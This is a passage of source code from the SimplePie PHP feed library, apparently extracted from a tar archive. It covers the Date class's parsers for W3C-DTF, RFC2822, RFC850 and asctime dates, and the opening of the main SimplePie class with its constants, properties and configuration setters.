'WIT' => 32400,
'WITA' => 28800,
'WKST' => 18000,
'WST' => 28800,
'YAKST' => 36000,
'YAKT' => 32400,
'YAPT' => 36000,
'YEKST' => 21600,
'YEKT' => 18000,
];
/**
* Cached PCRE for Date::$day
*
* @access protected
* @var string
*/
public $day_pcre;
/**
* Cached PCRE for Date::$month
*
* @access protected
* @var string
*/
public $month_pcre;
/**
* Array of user-added callback methods
*
* @access private
* @var array<string>
*/
public $built_in = [];
/**
* Array of user-added callback methods
*
* @access private
* @var array<callable(string): (int|false)>
*/
public $user = [];
/**
* Create new Date object, and set self::day_pcre,
* self::month_pcre, and self::built_in
*
* @access private
*/
public function __construct()
{
$this->day_pcre = '(' . implode('|', array_keys($this->day)) . ')';
$this->month_pcre = '(' . implode('|', array_keys($this->month)) . ')';
static $cache;
if (!isset($cache[get_class($this)])) {
$all_methods = get_class_methods($this);
foreach ($all_methods as $method) {
if (strtolower(substr($method, 0, 5)) === 'date_') {
$cache[get_class($this)][] = $method;
}
}
}
foreach ($cache[get_class($this)] as $method) {
$this->built_in[] = $method;
}
}
/**
* Get the object
*
* @access public
* @return Date
*/
public static function get()
{
static $object;
if (!$object) {
$object = new Date();
}
return $object;
}
/**
* Parse a date
*
* @final
* @access public
* @param string $date Date to parse
* @return int|false Timestamp corresponding to date string, or false on failure
*/
public function parse(string $date)
{
foreach ($this->user as $method) {
if (($returned = call_user_func($method, $date)) !== false) {
return (int) $returned;
}
}
foreach ($this->built_in as $method) {
// TODO: we should really check this in constructor but that would require private properties.
/** @var callable(string): (int|false) */
$callable = [$this, $method];
if (($returned = call_user_func($callable, $date)) !== false) {
return $returned;
}
}
return false;
}
/**
* Add a callback method to parse a date
*
* @final
* @access public
* @param callable $callback
* @return void
*/
public function add_callback(callable $callback)
{
$this->user[] = $callback;
}
/**
* Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as
* well as allowing any of upper or lower case "T", horizontal tabs, or
* spaces to be used as the time separator (including more than one))
*
* @access protected
* @param string $date
* @return int|false Timestamp
*/
public function date_w3cdtf(string $date)
{
$pcre = <<<'PCRE'
/
^
(?P<year>[0-9]{4})
(?:
-?
(?P<month>[0-9]{2})
(?:
-?
(?P<day>[0-9]{2})
(?:
[Tt\x09\x20]+
(?P<hour>[0-9]{2})
(?:
:?
(?P<minute>[0-9]{2})
(?:
:?
(?P<second>[0-9]{2})
(?:
.
(?P<second_fraction>[0-9]*)
)?
)?
)?
(?:
(?P<zulu>Z)
| (?P<tz_sign>[+\-])
(?P<tz_hour>[0-9]{1,2})
:?
(?P<tz_minute>[0-9]{1,2})
)
)?
)?
)?
$
/x
PCRE;
if (preg_match($pcre, $date, $match)) {
// Fill in empty matches and convert to proper types.
$year = (int) $match['year'];
$month = isset($match['month']) ? (int) $match['month'] : 1;
$day = isset($match['day']) ? (int) $match['day'] : 1;
$hour = isset($match['hour']) ? (int) $match['hour'] : 0;
$minute = isset($match['minute']) ? (int) $match['minute'] : 0;
$second = isset($match['second']) ? (int) $match['second'] : 0;
$second_fraction = isset($match['second_fraction']) ? ((int) $match['second_fraction']) / (10 ** strlen($match['second_fraction'])) : 0;
$tz_sign = ($match['tz_sign'] ?? '') === '-' ? -1 : 1;
$tz_hour = isset($match['tz_hour']) ? (int) $match['tz_hour'] : 0;
$tz_minute = isset($match['tz_minute']) ? (int) $match['tz_minute'] : 0;
// Numeric timezone
$timezone = $tz_hour * 3600;
$timezone += $tz_minute * 60;
$timezone *= $tz_sign;
// Convert the number of seconds to an integer, taking decimals into account
$second = (int) round($second + $second_fraction);
return gmmktime($hour, $minute, $second, $month, $day, $year) - $timezone;
}
return false;
}
/**
* Remove RFC822 comments
*
* @access protected
* @param string $string Data to strip comments from
* @return string Comment stripped string
*/
public function remove_rfc2822_comments(string $string)
{
$position = 0;
$length = strlen($string);
$depth = 0;
$output = '';
while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) {
$output .= substr($string, $position, $pos - $position);
$position = $pos + 1;
if ($pos === 0 || $string[$pos - 1] !== '\\') {
$depth++;
while ($depth && $position < $length) {
$position += strcspn($string, '()', $position);
if ($string[$position - 1] === '\\') {
$position++;
continue;
} elseif (isset($string[$position])) {
switch ($string[$position]) {
case '(':
$depth++;
break;
case ')':
$depth--;
break;
}
$position++;
} else {
break;
}
}
} else {
$output .= '(';
}
}
$output .= substr($string, $position);
return $output;
}
/**
* Parse RFC2822's date format
*
* @access protected
* @param string $date
* @return int|false Timestamp
*/
public function date_rfc2822(string $date)
{
static $pcre;
if (!$pcre) {
$wsp = '[\x09\x20]';
$fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)';
$optional_fws = $fws . '?';
$day_name = $this->day_pcre;
$month = $this->month_pcre;
$day = '([0-9]{1,2})';
$hour = $minute = $second = '([0-9]{2})';
$year = '([0-9]{2,4})';
$num_zone = '([+\-])([0-9]{2})([0-9]{2})';
$character_zone = '([A-Z]{1,5})';
$zone = '(?:' . $num_zone . '|' . $character_zone . ')';
$pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i';
}
if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match)) {
/*
Capturing subpatterns:
1: Day name
2: Day
3: Month
4: Year
5: Hour
6: Minute
7: Second
8: Timezone ±
9: Timezone hours
10: Timezone minutes
11: Alphabetic timezone
*/
$day = (int) $match[2];
// Find the month number
$month = $this->month[strtolower($match[3])];
$year = (int) $match[4];
$hour = (int) $match[5];
$minute = (int) $match[6];
// Second is optional, if it is empty set it to zero
$second = (int) $match[7];
$tz_sign = $match[8];
$tz_hour = (int) $match[9];
$tz_minute = (int) $match[10];
$tz_code = isset($match[11]) ? strtoupper($match[11]) : '';
// Numeric timezone
if ($tz_sign !== '') {
$timezone = $tz_hour * 3600;
$timezone += $tz_minute * 60;
if ($tz_sign === '-') {
$timezone = 0 - $timezone;
}
}
// Character timezone
elseif (isset($this->timezone[$tz_code])) {
$timezone = $this->timezone[$tz_code];
}
// Assume everything else to be -0000
else {
$timezone = 0;
}
// Deal with 2/3 digit years
if ($year < 50) {
$year += 2000;
} elseif ($year < 1000) {
$year += 1900;
}
return gmmktime($hour, $minute, $second, $month, $day, $year) - $timezone;
}
return false;
}
/**
* Parse RFC850's date format
*
* @access protected
* @param string $date
* @return int|false Timestamp
*/
public function date_rfc850(string $date)
{
static $pcre;
if (!$pcre) {
$space = '[\x09\x20]+';
$day_name = $this->day_pcre;
$month = $this->month_pcre;
$day = '([0-9]{1,2})';
$year = $hour = $minute = $second = '([0-9]{2})';
$zone = '([A-Z]{1,5})';
$pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i';
}
if (preg_match($pcre, $date, $match)) {
/*
Capturing subpatterns:
1: Day name
2: Day
3: Month
4: Year
5: Hour
6: Minute
7: Second
8: Timezone
*/
$day = (int) $match[2];
// Month
$month = $this->month[strtolower($match[3])];
$year = (int) $match[4];
$hour = (int) $match[5];
$minute = (int) $match[6];
// Second is optional, if it is empty set it to zero
$second = (int) $match[7];
$tz_code = strtoupper($match[8]);
// Character timezone
if (isset($this->timezone[$tz_code])) {
$timezone = $this->timezone[$tz_code];
}
// Assume everything else to be -0000
else {
$timezone = 0;
}
// Deal with 2 digit year
if ($year < 50) {
$year += 2000;
} else {
$year += 1900;
}
return gmmktime($hour, $minute, $second, $month, $day, $year) - $timezone;
}
return false;
}
/**
* Parse C99's asctime()'s date format
*
* @access protected
* @param string $date
* @return int|false Timestamp
*/
public function date_asctime(string $date)
{
static $pcre;
if (!$pcre) {
$space = '[\x09\x20]+';
$wday_name = $this->day_pcre;
$mon_name = $this->month_pcre;
$day = '([0-9]{1,2})';
$hour = $sec = $min = '([0-9]{2})';
$year = '([0-9]{4})';
$terminator = '\x0A?\x00?';
$pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i';
}
if (preg_match($pcre, $date, $match)) {
/*
Capturing subpatterns:
1: Day name
2: Month
3: Day
4: Hour
5: Minute
6: Second
7: Year
*/
$month = $this->month[strtolower($match[2])];
return gmmktime((int) $match[4], (int) $match[5], (int) $match[6], $month, (int) $match[3], (int) $match[7]);
}
return false;
}
/**
* Parse dates using strtotime()
*
* @access protected
* @param string $date
* @return int|false Timestamp
*/
public function date_strtotime(string $date)
{
$strtotime = strtotime($date);
if ($strtotime === -1 || $strtotime === false) {
return false;
}
return $strtotime;
}
}
class_alias('SimplePie\Parse\Date', 'SimplePie_Parse_Date');
src/SimplePie.php 0000644 00000372064 15220516755 0007757 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
use InvalidArgumentException;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\UriFactoryInterface;
use Psr\SimpleCache\CacheInterface;
use SimplePie\Cache\Base;
use SimplePie\Cache\BaseDataCache;
use SimplePie\Cache\CallableNameFilter;
use SimplePie\Cache\DataCache;
use SimplePie\Cache\NameFilter;
use SimplePie\Cache\Psr16;
use SimplePie\Content\Type\Sniffer;
use SimplePie\Exception as SimplePieException;
use SimplePie\HTTP\Client;
use SimplePie\HTTP\ClientException;
use SimplePie\HTTP\FileClient;
use SimplePie\HTTP\Psr18Client;
use SimplePie\HTTP\Response;
/**
* SimplePie
*/
class SimplePie
{
/**
* SimplePie Name
*/
public const NAME = 'SimplePie';
/**
* SimplePie Version
*/
public const VERSION = '1.9.0';
/**
* SimplePie Website URL
*/
public const URL = 'http://simplepie.org';
/**
* SimplePie Linkback
*/
public const LINKBACK = '<a href="' . self::URL . '" title="' . self::NAME . ' ' . self::VERSION . '">' . self::NAME . '</a>';
/**
* No Autodiscovery
* @see SimplePie::set_autodiscovery_level()
*/
public const LOCATOR_NONE = 0;
/**
* Feed Link Element Autodiscovery
* @see SimplePie::set_autodiscovery_level()
*/
public const LOCATOR_AUTODISCOVERY = 1;
/**
* Local Feed Extension Autodiscovery
* @see SimplePie::set_autodiscovery_level()
*/
public const LOCATOR_LOCAL_EXTENSION = 2;
/**
* Local Feed Body Autodiscovery
* @see SimplePie::set_autodiscovery_level()
*/
public const LOCATOR_LOCAL_BODY = 4;
/**
* Remote Feed Extension Autodiscovery
* @see SimplePie::set_autodiscovery_level()
*/
public const LOCATOR_REMOTE_EXTENSION = 8;
/**
* Remote Feed Body Autodiscovery
* @see SimplePie::set_autodiscovery_level()
*/
public const LOCATOR_REMOTE_BODY = 16;
/**
* All Feed Autodiscovery
* @see SimplePie::set_autodiscovery_level()
*/
public const LOCATOR_ALL = 31;
/**
* No known feed type
*/
public const TYPE_NONE = 0;
/**
* RSS 0.90
*/
public const TYPE_RSS_090 = 1;
/**
* RSS 0.91 (Netscape)
*/
public const TYPE_RSS_091_NETSCAPE = 2;
/**
* RSS 0.91 (Userland)
*/
public const TYPE_RSS_091_USERLAND = 4;
/**
* RSS 0.91 (both Netscape and Userland)
*/
public const TYPE_RSS_091 = 6;
/**
* RSS 0.92
*/
public const TYPE_RSS_092 = 8;
/**
* RSS 0.93
*/
public const TYPE_RSS_093 = 16;
/**
* RSS 0.94
*/
public const TYPE_RSS_094 = 32;
/**
* RSS 1.0
*/
public const TYPE_RSS_10 = 64;
/**
* RSS 2.0
*/
public const TYPE_RSS_20 = 128;
/**
* RDF-based RSS
*/
public const TYPE_RSS_RDF = 65;
/**
* Non-RDF-based RSS (truly intended as syndication format)
*/
public const TYPE_RSS_SYNDICATION = 190;
/**
* All RSS
*/
public const TYPE_RSS_ALL = 255;
/**
* Atom 0.3
*/
public const TYPE_ATOM_03 = 256;
/**
* Atom 1.0
*/
public const TYPE_ATOM_10 = 512;
/**
* All Atom
*/
public const TYPE_ATOM_ALL = 768;
/**
* All feed types
*/
public const TYPE_ALL = 1023;
/**
* No construct
*/
public const CONSTRUCT_NONE = 0;
/**
* Text construct
*/
public const CONSTRUCT_TEXT = 1;
/**
* HTML construct
*/
public const CONSTRUCT_HTML = 2;
/**
* XHTML construct
*/
public const CONSTRUCT_XHTML = 4;
/**
* base64-encoded construct
*/
public const CONSTRUCT_BASE64 = 8;
/**
* IRI construct
*/
public const CONSTRUCT_IRI = 16;
/**
* A construct that might be HTML
*/
public const CONSTRUCT_MAYBE_HTML = 32;
/**
* All constructs
*/
public const CONSTRUCT_ALL = 63;
/**
* Don't change case
*/
public const SAME_CASE = 1;
/**
* Change to lowercase
*/
public const LOWERCASE = 2;
/**
* Change to uppercase
*/
public const UPPERCASE = 4;
/**
* PCRE for HTML attributes
*/
public const PCRE_HTML_ATTRIBUTE = '((?:[\x09\x0A\x0B\x0C\x0D\x20]+[^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?)*)[\x09\x0A\x0B\x0C\x0D\x20]*';
/**
* PCRE for XML attributes
*/
public const PCRE_XML_ATTRIBUTE = '((?:\s+(?:(?:[^\s:]+:)?[^\s:]+)\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'))*)\s*';
/**
* XML Namespace
*/
public const NAMESPACE_XML = 'http://www.w3.org/XML/1998/namespace';
/**
* Atom 1.0 Namespace
*/
public const NAMESPACE_ATOM_10 = 'http://www.w3.org/2005/Atom';
/**
* Atom 0.3 Namespace
*/
public const NAMESPACE_ATOM_03 = 'http://purl.org/atom/ns#';
/**
* RDF Namespace
*/
public const NAMESPACE_RDF = 'http://www.w3.org/1999/02/22-rdf-syntax-ns#';
/**
* RSS 0.90 Namespace
*/
public const NAMESPACE_RSS_090 = 'http://my.netscape.com/rdf/simple/0.9/';
/**
* RSS 1.0 Namespace
*/
public const NAMESPACE_RSS_10 = 'http://purl.org/rss/1.0/';
/**
* RSS 1.0 Content Module Namespace
*/
public const NAMESPACE_RSS_10_MODULES_CONTENT = 'http://purl.org/rss/1.0/modules/content/';
/**
* RSS 2.0 Namespace
* (Stupid, I know, but I'm certain it will confuse people less with support.)
*/
public const NAMESPACE_RSS_20 = '';
/**
* DC 1.0 Namespace
*/
public const NAMESPACE_DC_10 = 'http://purl.org/dc/elements/1.0/';
/**
* DC 1.1 Namespace
*/
public const NAMESPACE_DC_11 = 'http://purl.org/dc/elements/1.1/';
/**
* W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace
*/
public const NAMESPACE_W3C_BASIC_GEO = 'http://www.w3.org/2003/01/geo/wgs84_pos#';
/**
* GeoRSS Namespace
*/
public const NAMESPACE_GEORSS = 'http://www.georss.org/georss';
/**
* Media RSS Namespace
*/
public const NAMESPACE_MEDIARSS = 'http://search.yahoo.com/mrss/';
/**
* Wrong Media RSS Namespace. Caused by a long-standing typo in the spec.
*/
public const NAMESPACE_MEDIARSS_WRONG = 'http://search.yahoo.com/mrss';
/**
* Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5.
*/
public const NAMESPACE_MEDIARSS_WRONG2 = 'http://video.search.yahoo.com/mrss';
/**
* Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace.
*/
public const NAMESPACE_MEDIARSS_WRONG3 = 'http://video.search.yahoo.com/mrss/';
/**
* Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace.
*/
public const NAMESPACE_MEDIARSS_WRONG4 = 'http://www.rssboard.org/media-rss';
/**
* Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL.
*/
public const NAMESPACE_MEDIARSS_WRONG5 = 'http://www.rssboard.org/media-rss/';
/**
* iTunes RSS Namespace
*/
public const NAMESPACE_ITUNES = 'http://www.itunes.com/dtds/podcast-1.0.dtd';
/**
* XHTML Namespace
*/
public const NAMESPACE_XHTML = 'http://www.w3.org/1999/xhtml';
/**
* IANA Link Relations Registry
*/
public const IANA_LINK_RELATIONS_REGISTRY = 'http://www.iana.org/assignments/relation/';
/**
* No file source
*/
public const FILE_SOURCE_NONE = 0;
/**
* Remote file source
*/
public const FILE_SOURCE_REMOTE = 1;
/**
* Local file source
*/
public const FILE_SOURCE_LOCAL = 2;
/**
* fsockopen() file source
*/
public const FILE_SOURCE_FSOCKOPEN = 4;
/**
* cURL file source
*/
public const FILE_SOURCE_CURL = 8;
/**
* file_get_contents() file source
*/
public const FILE_SOURCE_FILE_GET_CONTENTS = 16;
/**
* @internal Default value of the HTTP Accept header when fetching/locating feeds
*/
public const DEFAULT_HTTP_ACCEPT_HEADER = 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1';
/**
* @var array<string, mixed> Raw data
* @access private
*/
public $data = [];
/**
* @var string|string[]|null Error string (or array when multiple feeds are initialized)
* @access private
*/
public $error = null;
/**
* @var int HTTP status code
* @see SimplePie::status_code()
* @access private
*/
public $status_code = 0;
/**
* @var Sanitize instance of Sanitize class
* @see SimplePie::set_sanitize_class()
* @access private
*/
public $sanitize;
/**
* @var string SimplePie Useragent
* @see SimplePie::set_useragent()
* @access private
*/
public $useragent = '';
/**
* @var string Feed URL
* @see SimplePie::set_feed_url()
* @access private
*/
public $feed_url;
/**
* @var ?string Original feed URL, or new feed URL iff HTTP 301 Moved Permanently
* @see SimplePie::subscribe_url()
* @access private
*/
public $permanent_url = null;
/**
* @var File Instance of File class to use as a feed
* @see SimplePie::set_file()
*/
private $file;
/**
* @var string|false Raw feed data
* @see SimplePie::set_raw_data()
* @access private
*/
public $raw_data;
/**
* @var int Timeout for fetching remote files
* @see SimplePie::set_timeout()
* @access private
*/
public $timeout = 10;
/**
* @var array<int, mixed> Custom curl options
* @see SimplePie::set_curl_options()
* @access private
*/
public $curl_options = [];
/**
* @var bool Forces fsockopen() to be used for remote files instead
* of cURL, even if a new enough version is installed
* @see SimplePie::force_fsockopen()
* @access private
*/
public $force_fsockopen = false;
/**
* @var bool Force the given data/URL to be treated as a feed no matter what
* it appears like
* @see SimplePie::force_feed()
* @access private
*/
public $force_feed = false;
/**
* @var bool Enable/Disable Caching
* @see SimplePie::enable_cache()
* @access private
*/
private $enable_cache = true;
/**
* @var DataCache|null
* @see SimplePie::set_cache()
*/
private $cache = null;
/**
* @var NameFilter
* @see SimplePie::set_cache_namefilter()
*/
private $cache_namefilter;
/**
* @var bool Force SimplePie to fallback to expired cache, if enabled,
* when feed is unavailable.
* @see SimplePie::force_cache_fallback()
* @access private
*/
public $force_cache_fallback = false;
/**
* @var int Cache duration (in seconds)
* @see SimplePie::set_cache_duration()
* @access private
*/
public $cache_duration = 3600;
/**
* @var int Auto-discovery cache duration (in seconds)
* @see SimplePie::set_autodiscovery_cache_duration()
* @access private
*/
public $autodiscovery_cache_duration = 604800; // 7 Days.
/**
* @var string Cache location (relative to executing script)
* @see SimplePie::set_cache_location()
* @access private
*/
public $cache_location = './cache';
/**
* @var string&(callable(string): string) Function that creates the cache filename
* @see SimplePie::set_cache_name_function()
* @access private
*/
public $cache_name_function = 'md5';
/**
* @var bool Reorder feed by date descending
* @see SimplePie::enable_order_by_date()
* @access private
*/
public $order_by_date = true;
/**
* @var mixed Force input encoding to be set to the follow value
* (false, or anything type-cast to false, disables this feature)
* @see SimplePie::set_input_encoding()
* @access private
*/
public $input_encoding = false;
/**
* @var self::LOCATOR_* Feed Autodiscovery Level
* @see SimplePie::set_autodiscovery_level()
* @access private
*/
public $autodiscovery = self::LOCATOR_ALL;
/**
* Class registry object
*
* @var Registry
*/
public $registry;
/**
* @var int Maximum number of feeds to check with autodiscovery
* @see SimplePie::set_max_checked_feeds()
* @access private
*/
public $max_checked_feeds = 10;
/**
* @var array<Response>|null All the feeds found during the autodiscovery process
* @see SimplePie::get_all_discovered_feeds()
* @access private
*/
public $all_discovered_feeds = [];
/**
* @var string Web-accessible path to the handler_image.php file.
* @see SimplePie::set_image_handler()
* @access private
*/
public $image_handler = '';
/**
* @var array<string> Stores the URLs when multiple feeds are being initialized.
* @see SimplePie::set_feed_url()
* @access private
*/
public $multifeed_url = [];
/**
* @var array<int, static> Stores SimplePie objects when multiple feeds initialized.
* @access private
*/
public $multifeed_objects = [];
/**
* @var array<mixed> Stores the get_object_vars() array for use with multifeeds.
* @see SimplePie::set_feed_url()
* @access private
*/
public $config_settings = null;
/**
* @var int Stores the number of items to return per-feed with multifeeds.
* @see SimplePie::set_item_limit()
* @access private
*/
public $item_limit = 0;
/**
* @var bool Stores if last-modified and/or etag headers were sent with the
* request when checking a feed.
*/
public $check_modified = false;
/**
* @var array<string> Stores the default attributes to be stripped by strip_attributes().
* @see SimplePie::strip_attributes()
* @access private
*/
public $strip_attributes = ['bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'];
/**
* @var array<string, array<string, string>> Stores the default attributes to add to different tags by add_attributes().
* @see SimplePie::add_attributes()
* @access private
*/
public $add_attributes = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']];
/**
* @var array<string> Stores the default tags to be stripped by strip_htmltags().
* @see SimplePie::strip_htmltags()
* @access private
*/
public $strip_htmltags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'];
/**
* @var string[]|string Stores the default attributes to be renamed by rename_attributes().
* @see SimplePie::rename_attributes()
* @access private
*/
public $rename_attributes = [];
/**
* @var bool Should we throw exceptions, or use the old-style error property?
* @access private
*/
public $enable_exceptions = false;
/**
* @var Client|null
*/
private $http_client = null;
/** @var bool Whether HTTP client has been injected */
private $http_client_injected = false;
/**
* The SimplePie class contains feed level data and options
*
* To use SimplePie, create the SimplePie object with no parameters. You can
* then set configuration options using the provided methods. After setting
* them, you must initialise the feed using $feed->init(). At that point the
* object's methods and properties will be available to you.
*
* Previously, it was possible to pass in the feed URL along with cache
* options directly into the constructor. This has been removed as of 1.3 as
* it caused a lot of confusion.
*
* @since 1.0 Preview Release
*/
public function __construct()
{
if (version_compare(PHP_VERSION, '7.2', '<')) {
exit('Please upgrade to PHP 7.2 or newer.');
}
$this->set_useragent();
$this->set_cache_namefilter(new CallableNameFilter($this->cache_name_function));
// Other objects, instances created here so we can set options on them
$this->sanitize = new Sanitize();
$this->registry = new Registry();
if (func_num_args() > 0) {
trigger_error('Passing parameters to the constructor is no longer supported. Please use set_feed_url(), set_cache_location(), and set_cache_duration() directly.', \E_USER_DEPRECATED);
$args = func_get_args();
switch (count($args)) {
case 3:
$this->set_cache_duration($args[2]);
// no break
case 2:
$this->set_cache_location($args[1]);
// no break
case 1:
$this->set_feed_url($args[0]);
$this->init();
}
}
}
/**
* Used for converting object to a string
* @return string
*/
public function __toString()
{
return md5(serialize($this->data));
}
/**
* Remove items that link back to this before destroying this object
* @return void
*/
public function __destruct()
{
if (!gc_enabled()) {
if (!empty($this->data['items'])) {
foreach ($this->data['items'] as $item) {
$item->__destruct();
}
unset($item, $this->data['items']);
}
if (!empty($this->data['ordered_items'])) {
foreach ($this->data['ordered_items'] as $item) {
$item->__destruct();
}
unset($item, $this->data['ordered_items']);
}
}
}
/**
* Force the given data/URL to be treated as a feed
*
* This tells SimplePie to ignore the content-type provided by the server.
* Be careful when using this option, as it will also disable autodiscovery.
*
* @since 1.1
* @param bool $enable Force the given data/URL to be treated as a feed
* @return void
*/
public function force_feed(bool $enable = false)
{
$this->force_feed = $enable;
}
/**
* Set the URL of the feed you want to parse
*
* This allows you to enter the URL of the feed you want to parse, or the
* website you want to try to use auto-discovery on. This takes priority
* over any set raw data.
*
* Deprecated since 1.9.0: You can set multiple feeds to mash together by passing an array instead
* of a string for the $url. Remember that with each additional feed comes
* additional processing and resources.
*
* @since 1.0 Preview Release
* @see set_raw_data()
* @param string|string[] $url This is the URL (or (deprecated) array of URLs) that you want to parse.
* @return void
*/
public function set_feed_url($url)
{
$this->multifeed_url = [];
if (is_array($url)) {
trigger_error('Fetching multiple feeds with single SimplePie instance is deprecated since SimplePie 1.9.0, create one SimplePie instance per feed and use SimplePie::merge_items to get a single list of items.', \E_USER_DEPRECATED);
foreach ($url as $value) {
$this->multifeed_url[] = $this->registry->call(Misc::class, 'fix_protocol', [$value, 1]);
}
} else {
$this->feed_url = $this->registry->call(Misc::class, 'fix_protocol', [$url, 1]);
$this->permanent_url = $this->feed_url;
}
}
/**
* Set an instance of {@see File} to use as a feed
*
* @deprecated since SimplePie 1.9.0, use \SimplePie\SimplePie::set_http_client() or \SimplePie\SimplePie::set_raw_data() instead.
*
* @param File &$file
* @return bool True on success, false on failure
*/
public function set_file(File &$file)
{
// trigger_error(sprintf('SimplePie\SimplePie::set_file() is deprecated since SimplePie 1.9.0, please use "SimplePie\SimplePie::set_http_client()" or "SimplePie\SimplePie::set_raw_data()" instead.'), \E_USER_DEPRECATED);
$this->feed_url = $file->get_final_requested_uri();
$this->permanent_url = $this->feed_url;
$this->file = &$file;
return true;
}
/**
* Set the raw XML data to parse
*
* Allows you to use a string of RSS/Atom data instead of a remote feed.
*
* If you have a feed available as a string in PHP, you can tell SimplePie
* to parse that data string instead of a remote feed. Any set feed URL
* takes precedence.
*
* @since 1.0 Beta 3
* @param string $data RSS or Atom data as a string.
* @see set_feed_url()
* @return void
*/
public function set_raw_data(string $data)
{
$this->raw_data = $data;
}
/**
* Set a PSR-18 client and PSR-17 factories
*
* Allows you to use your own HTTP client implementations.
* This will become required with SimplePie 2.0.0.
*/
final public function set_http_client(
ClientInterface $http_client,
RequestFactoryInterface $request_factory,
UriFactoryInterface $uri_factory
): void {
$this->http_client = new Psr18Client($http_client, $request_factory, $uri_factory);
}
/**
* Set the default timeout for fetching remote feeds
*
* This allows you to change the maximum time the feed's server to respond
* and send the feed back.
*
* @since 1.0 Beta 3
* @param int $timeout The maximum number of seconds to spend waiting to retrieve a feed.
* @return void
*/
public function set_timeout(int $timeout = 10)
{
if ($this->http_client_injected) {
throw new SimplePieException(sprintf(
'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure timeout in your HTTP client instead.',
__METHOD__,
self::class
));
}
$this->timeout = (int) $timeout;
// Reset a possible existing FileClient,
// so a new client with the changed value will be created
if (is_object($this->http_client) && $this->http_client instanceof FileClient) {
$this->http_client = null;
} elseif (is_object($this->http_client)) {
// Trigger notice if a PSR-18 client was set
trigger_error(sprintf(
'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure the timeout in your HTTP client instead.',
__METHOD__,
get_class($this)
), \E_USER_NOTICE);
}
}
/**
* Set custom curl options
*
* This allows you to change default curl options
*
* @since 1.0 Beta 3
* @param array<int, mixed> $curl_options Curl options to add to default settings
* @return void
*/
public function set_curl_options(array $curl_options = [])
{
if ($this->http_client_injected) {
throw new SimplePieException(sprintf(
'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure custom curl options in your HTTP client instead.',
__METHOD__,
self::class
));
}
$this->curl_options = $curl_options;
// Reset a possible existing FileClient,
// so a new client with the changed value will be created
if (is_object($this->http_client) && $this->http_client instanceof FileClient) {
$this->http_client = null;
} elseif (is_object($this->http_client)) {
// Trigger notice if a PSR-18 client was set
trigger_error(sprintf(
'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure the curl options in your HTTP client instead.',
__METHOD__,
get_class($this)
), \E_USER_NOTICE);
}
}
/**
* Force SimplePie to use fsockopen() instead of cURL
*
* @since 1.0 Beta 3
* @param bool $enable Force fsockopen() to be used
* @return void
*/
public function force_fsockopen(bool $enable = false)
{
if ($this->http_client_injected) {
throw new SimplePieException(sprintf(
'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure fsockopen in your HTTP client instead.',
__METHOD__,
self::class
));
}
$this->force_fsockopen = $enable;
// Reset a possible existing FileClient,
// so a new client with the changed value will be created
if (is_object($this->http_client) && $this->http_client instanceof FileClient) {
$this->http_client = null;
} elseif (is_object($this->http_client)) {
// Trigger notice if a PSR-18 client was set
trigger_error(sprintf(
'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure fsockopen in your HTTP client instead.',
__METHOD__,
get_class($this)
), \E_USER_NOTICE);
}
}
/**
* Enable/disable caching in SimplePie.
*
* This option allows you to disable caching all-together in SimplePie.
* However, disabling the cache can lead to longer load times.
*
* @since 1.0 Preview Release
* @param bool $enable Enable caching
* @return void
*/
public function enable_cache(bool $enable = true)
{
$this->enable_cache = $enable;
}
/**
* Set a PSR-16 implementation as cache
*
* @param CacheInterface $cache The PSR-16 cache implementation
*
* @return void
*/
public function set_cache(CacheInterface $cache)
{
$this->cache = new Psr16($cache);
}
/**
* SimplePie to continue to fall back to expired cache, if enabled, when
* feed is unavailable.
*
* This tells SimplePie to ignore any file errors and fall back to cache
* instead. This only works if caching is enabled and cached content
* still exists.
*
* @deprecated since SimplePie 1.8.0, expired cache will not be used anymore.
*
